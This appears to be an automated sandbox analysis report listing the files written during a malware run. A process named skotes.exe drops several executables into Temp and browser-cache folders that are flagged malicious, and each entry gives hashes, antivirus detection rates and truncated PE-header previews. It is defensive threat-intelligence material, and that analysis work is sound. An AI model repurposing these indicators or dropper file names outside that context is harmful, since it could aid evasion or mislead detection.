Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4354048
Entropy (8bit):	7.976164657744965
Encrypted:	false
SSDEEP:	98304:OTeKRxXJdVkd8Mq1HBavhJ+XT9mdRW1g/ZoyUxl+agn3K:ORXXVkGMhhUjUWxy+Hd
MD5:	4C6BBA984AF9160DDE6F2E0DD0E0BC79
SHA1:	F640DBC263DB012465255670A489800705AEA14C
SHA-256:	D95E7AA0B2F5B8CC914CD095B0695377F7D73FDA2B9571BED2CC55AC30E6CC89
SHA-512:	1093C8650A8B1465CAE21A1F7DC31A2603F1F57AEB09AF7105A0DBB256EB4EEFA3FFA27A937716F4DEC1B38F67E44209D348DCD93A6827AD12DC8F23DAD6F2F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...@........J...@..........................p.......oC...@... ............................._.q.s...........................<-...............................,...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .`7...q.......'.............@...dvdrndmu.....p........'.............@...grjspqaa.....0.......JB.............@....taggant.0...@..."...NB.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.591594338626612
Encrypted:	false
SSDEEP:	24576:YqDEvCTbMWu7rQYlBQcBiT6rprG8a+b1:YTvC/MTQYxsWR7a+b
MD5:	22CF487CE98B0DA943AE302F604FB6B7
SHA1:	7A8C111C0E4F0D1CA9250BFAD6197651E44D1E62
SHA-256:	46D31E7CDA03E35594111E0BCF5F2974FEAD4EF432EAAF7E861136D31C450E7F
SHA-512:	2DEAFC2F2AF037828E347C67B072F2EE763EA309961BDAD9797D927EA3F4233293E107CD9CEFA4050A1791A8011E37242085FBDD64ACF878ED577BC2BB34957C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...W.Ag.........."..........b......w.............@..........................p......bc....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\lll[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1875968
Entropy (8bit):	7.947529958675304
Encrypted:	false
SSDEEP:	24576:++jqb7UQPkDkEZgfbASVQRBWVJTyPB/g2WUay/PjwudMbzOaw/FefOO5EV0F5:tjo7UQPwkW9zXWzoPkuo/w4fp5g0F5
MD5:	EF791B7D99A63481993AD96A9F043E71
SHA1:	15797D3EB2E5104CB3A518AED8DF3F77FDDA010D
SHA-256:	9097B54392451D73B37577C5F606E5959C62DEAB4F359CF671ADC62897452B49
SHA-512:	59897EF989594B8261FE0CE15515E1784F8943155C672DC68247412A6AFD888723114C581B5ADAC5DF1C469D1A6BA12F3A9D3E9C79A3B2095ACD0801E82C3377
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................pJ...........@...........................J.....\.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...lbasanxu.....`0......x..............@...inkucyiw.....`J......x..............@....taggant.0...pJ.."...~..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2752512
Entropy (8bit):	6.579724413848602
Encrypted:	false
SSDEEP:	49152:jto3ds8qXOnGRWgJd/ubkQmIOHjCYubXPQjIlfZr:jtoNs8qXOGRWgjQkQmHHjCYubX3h
MD5:	762B742D0239E2CC9904A746BF3CF46F
SHA1:	CF04A3C18031F332D297A71A4177473171952AF7
SHA-256:	E036ABB8C6DC5CDA19ACE2304C27990B9BB8069F105CEACF3C86F39E1A93FF75
SHA-512:	B9EFF113BC94FC15FD34A13E3E2147C09972E908677355370FFC89155D39D08BFAB88377FC16B1EBD82B6CB617D92F9E04D28CF01035B85C9C027750FCF252C8
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ncjsrlmf.@......&..:..............@...pmvjnnxr. ..........`.............@....taggant.@....+.."...d*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4354048
Entropy (8bit):	7.976164657744965
Encrypted:	false
SSDEEP:	98304:OTeKRxXJdVkd8Mq1HBavhJ+XT9mdRW1g/ZoyUxl+agn3K:ORXXVkGMhhUjUWxy+Hd
MD5:	4C6BBA984AF9160DDE6F2E0DD0E0BC79
SHA1:	F640DBC263DB012465255670A489800705AEA14C
SHA-256:	D95E7AA0B2F5B8CC914CD095B0695377F7D73FDA2B9571BED2CC55AC30E6CC89
SHA-512:	1093C8650A8B1465CAE21A1F7DC31A2603F1F57AEB09AF7105A0DBB256EB4EEFA3FFA27A937716F4DEC1B38F67E44209D348DCD93A6827AD12DC8F23DAD6F2F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...@........J...@..........................p.......oC...@... ............................._.q.s...........................<-...............................,...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .`7...q.......'.............@...dvdrndmu.....p........'.............@...grjspqaa.....0.......JB.............@....taggant.0...@..."...NB.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008303001\lll.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1875968
Entropy (8bit):	7.947529958675304
Encrypted:	false
SSDEEP:	24576:++jqb7UQPkDkEZgfbASVQRBWVJTyPB/g2WUay/PjwudMbzOaw/FefOO5EV0F5:tjo7UQPwkW9zXWzoPkuo/w4fp5g0F5
MD5:	EF791B7D99A63481993AD96A9F043E71
SHA1:	15797D3EB2E5104CB3A518AED8DF3F77FDDA010D
SHA-256:	9097B54392451D73B37577C5F606E5959C62DEAB4F359CF671ADC62897452B49
SHA-512:	59897EF989594B8261FE0CE15515E1784F8943155C672DC68247412A6AFD888723114C581B5ADAC5DF1C469D1A6BA12F3A9D3E9C79A3B2095ACD0801E82C3377
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................pJ...........@...........................J.....\.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...lbasanxu.....`0......x..............@...inkucyiw.....`J......x..............@....taggant.0...pJ.."...~..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1874432
Entropy (8bit):	7.94871037769217
Encrypted:	false
SSDEEP:	49152:DeLxvNRUU9/jd+TWB58kFAvuX6FPnRU2DNXwWk:DEvNiC/jd+k58kFh6dO2Zjk
MD5:	A60C25A4D738790AFD6DEE836C9A6370
SHA1:	9CF4E4CBB6959563F5157531870732E5F396D8E8
SHA-256:	4918ED5FFE96EF5018CAE368BCCC000A5D8F6E9E9E79CBA7A224551B8812F2F7
SHA-512:	3C5DB80A1DC60BE143B24583386095D2D64AA3818A55A38C285824BAD8CF9445C181952447C811DD4DC6771D5706FB68D3EDDF42D33215471A3081E92063BC80
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................`J...........@...........................J.....t.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...cmkobnzi.....P0......x..............@...kevwmiqw.....PJ......t..............@....taggant.0...`J.."...x..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1769472
Entropy (8bit):	7.949250678712165
Encrypted:	false
SSDEEP:	49152:FNudjp3W9Su9p1y9+Wup3FGoL0XcS+kPe:/unGwejH00kPe
MD5:	D54B0C8F7977A9E67948BAB655FB380E
SHA1:	0DDD15BF45362013FB845F4B6155AB40F039CAFE
SHA-256:	BBA96C9D29C016A476EB149B7BDA86EF059DC25246555F4212D95BE8F98E3859
SHA-512:	839C0605B497A6E38040DC2D6E261EE803D41149177B87928D29B9D7302C7A59E10732CDFFC2A990B016CDF8899A782F3F25307717709EE27B5F51928AFC4DDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........g...........@...........................g.....G.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .p)...$......v..............@...vrtduuah.p...0N..b...x..............@...ggmsrgqs......g.....................@....taggant.0....g.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.591594338626612
Encrypted:	false
SSDEEP:	24576:YqDEvCTbMWu7rQYlBQcBiT6rprG8a+b1:YTvC/MTQYxsWR7a+b
MD5:	22CF487CE98B0DA943AE302F604FB6B7
SHA1:	7A8C111C0E4F0D1CA9250BFAD6197651E44D1E62
SHA-256:	46D31E7CDA03E35594111E0BCF5F2974FEAD4EF432EAAF7E861136D31C450E7F
SHA-512:	2DEAFC2F2AF037828E347C67B072F2EE763EA309961BDAD9797D927EA3F4233293E107CD9CEFA4050A1791A8011E37242085FBDD64ACF878ED577BC2BB34957C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...W.Ag.........."..........b......w.............@..........................p......bc....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008307001\514a61fbeb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2752512
Entropy (8bit):	6.579724413848602
Encrypted:	false
SSDEEP:	49152:jto3ds8qXOnGRWgJd/ubkQmIOHjCYubXPQjIlfZr:jtoNs8qXOGRWgjQkQmHHjCYubX3h
MD5:	762B742D0239E2CC9904A746BF3CF46F
SHA1:	CF04A3C18031F332D297A71A4177473171952AF7
SHA-256:	E036ABB8C6DC5CDA19ACE2304C27990B9BB8069F105CEACF3C86F39E1A93FF75
SHA-512:	B9EFF113BC94FC15FD34A13E3E2147C09972E908677355370FFC89155D39D08BFAB88377FC16B1EBD82B6CB617D92F9E04D28CF01035B85C9C027750FCF252C8
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ncjsrlmf.@......&..:..............@...pmvjnnxr. ..........`.............@....taggant.@....+.."...d*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\16c257a6-42a3-4e58-bd54-8b9abe2d8e46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\2bc7df6f-3695-4cda-9db2-943ef4cb5850.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\4ee45cca-8628-428b-a2f9-01a03b702814.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIDHCGDAFBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1920000
Entropy (8bit):	7.952356217996483
Encrypted:	false
SSDEEP:	49152:8vB0uAvFQWCY5RctB17VNEwvBLGqMUwUEor2Mp:+B0FQdmCBNV3puUhP
MD5:	066CBA2D7733BA1CF42FB68AB5E404A6
SHA1:	9242932A584DAD639C7366054592089D8B436714
SHA-256:	BEE7221ED233C2F0C6309199BEA905C595543FFF90790EF42A4985C9301A86E1
SHA-512:	93541A04D5A9AB45F5BFC8EFFAED08840DB76CAAB826CB2D85455481B541B9C6E243226CAA20234FF614AF7816021A0185A26317E89877D4212CC5566DAABDDE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L......a....@.................................W...k.......H....................]L.............................8]L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...ahcdwdtv.0...02.....................@...vxynmcwl.....`L......&..............@....taggant.0...pL.."...*..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abfbdcae-fa06-4549-916c-894fd93860d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1536017
Entropy (8bit):	7.992187230129762
Encrypted:	true
SSDEEP:	24576:no4xZrgThQY3go5JVFy9+jRpdcbNoTMzvfIw8tX3dr4tIpG7HUtHSs9IIA0hFpLp:ovuYXfVFyORPINoTMbfQtndrNG7oSgXP
MD5:	3FD11584013450FDE64685A4FD0DC686
SHA1:	0451108100687EBC79634E2DDF04FED5353DA758
SHA-256:	8F804FA7580872171BE56146CC1917FB34526C259C03147B65E82234E3A19C76
SHA-512:	A38D38D2513E5AE7A2F5CBFD0E955C02DB6D102897D95B2305B84D683FF7272D65EFD05B511A6E806419520BA1C72A37DF614AF8F48A2F329D19112F3E73722D
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\ae251720-158a-4262-91cd-75dac1b27029.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\c406a16f-6c3a-4e0e-bbf0-4c937b31df4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.397860788369994
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrU:8e2Fa116uCntc5toYcoM
MD5:	1B49DFACA6547C97D17C0DD5E481CB75
SHA1:	50B9C2C536C61DFD7B726AC6B716509CFA3498A3
SHA-256:	B51F48473A895B1EE5704699EAE84172F637E82CD42D012B26CAB82B126DD86F
SHA-512:	F23CF53582CBB133EE50679E18C4A2EDF5FBDC376AA61CEA8F0F4E2886A5B1826B4899B43304328758900F1FD5442608D4BFE95090D27634703276024BB41A7D
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d82beb51-ab39-4a80-a09d-42a0bcdb55d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
